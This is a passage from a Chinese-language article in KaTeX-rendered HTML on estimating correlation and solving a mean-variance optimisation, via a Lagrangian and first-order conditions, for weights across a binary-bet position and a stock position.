class="mord">0.4</span></span></span></span><ul><li>适用：当前价格远离跌破线</li><li>理由：需要大跌才能跌破，相关性较弱</li></ul></li></ul><p><strong>计算公式</strong>：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">Cov</span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">ρ</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.24em;vertical-align:-0.2561em;"></span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9839em;"><span class="svg-align" style="top:-3.2em;"><span class="pstrut" style="height:3.2em;"></span><span class="mord" style="padding-left:1em;"><span class="mord mathnormal">p</span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span><span style="top:-2.9439em;"><span class="pstrut" style="height:3.2em;"></span><span class="hide-tail" style="min-width:1.02em;height:1.28em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.28em" viewBox="0 0 400000 1296" preserveAspectRatio="xMinYMin slice"><path d="M263,681c0.7,0,18,39.7,52,119c34,79.3,68.167,158.7,102.5,238c34.3,79.3,51.8,119.3,52.5,120c340,-704.7,510.7,-1060.3,512,-1067l0 -0c4.7,-7.3,11,-11,19,-11H40000v40H1012.3s-271.3,567,-271.3,567c-38.7,80.7,-84,175,-136,283c-52,108,-89.167,185.3,-111.5,232c-22.3,46.7,-33.8,70.3,-34.5,71c-4.7,4.7,-12.3,7,-23,7s-12,-1,-12,-1s-109,-253,-109,-253c-72.7,-168,-109.3,-252,-110,-252c-10.7,8,-22,16.7,-34,26c-22,17.3,-33.3,26,-34,26s-26,-26,-26,-26s76,-59,76,-59s76,-60,76,-60zM1001 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2561em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.7936em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05764em;">S</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p><strong>优点</strong>：</p><ul><li>简单直接</li><li>基于经济直觉</li><li>容易调整和敏感性分析</li></ul><p><strong>缺点</strong>：</p><ul><li><strong>本质上是瞎猜</strong></li><li>相关系数选择很主观</li><li>真实市场可能与直觉相反</li></ul><h2 id="6-最优化求解：精确的错误">6. 最优化求解：精确的错误</h2><p>现在我们有了所有参数（虽然都是估计的），可以计算&quot;最优&quot;权重了。</p><h3 id="优化目标">优化目标</h3><p>标准的均值-方差优化：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.5861em;vertical-align:-0.8361em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.4306em;"><span style="top:-2.4em;margin-left:0em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:-0.0269em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span><span class="mpunct mtight">,</span><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:-0.0269em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span><span class="mop">max</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8361em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:1em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.0574em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">λ</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord text"><span class="mord">Var</span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mclose">)</span></span></span></span></span></p><p><strong>含义</strong>：最大化期望收益，同时考虑风险惩罚。</p><h3 id="求解方法">求解方法</h3><p><strong>第一步：构建拉格朗日函数</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">a</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.113em;vertical-align:-0.686em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.0574em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">λ</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-2.453em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-2.453em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1111em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-2.453em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-2.453em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">2</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">12</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">μ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span></span></p><p><strong>第二步：求一阶条件</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.2074em;vertical-align:-0.836em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.05556em;">∂</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.05556em;">∂</span><span class="mord mathnormal">L</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.836em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">a</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord mathnormal">λ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-2.453em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">12</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">μ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.2074em;vertical-align:-0.836em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.05556em;">∂</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord" style="margin-right:0.05556em;">∂</span><span class="mord mathnormal">L</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.836em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.113em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord mathnormal">λ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-2.453em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">12</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">μ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></span></p><p><strong>第三步：解线性方程组</strong><br>这是个2×2的线性方程组，可以解出最优权重 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9368em;vertical-align:-0.2481em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-2.4519em;margin-left:-0.0269em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2481em;"><span></span></span></span></span></span></span></span></span></span> 和 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9368em;vertical-align:-0.2481em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span 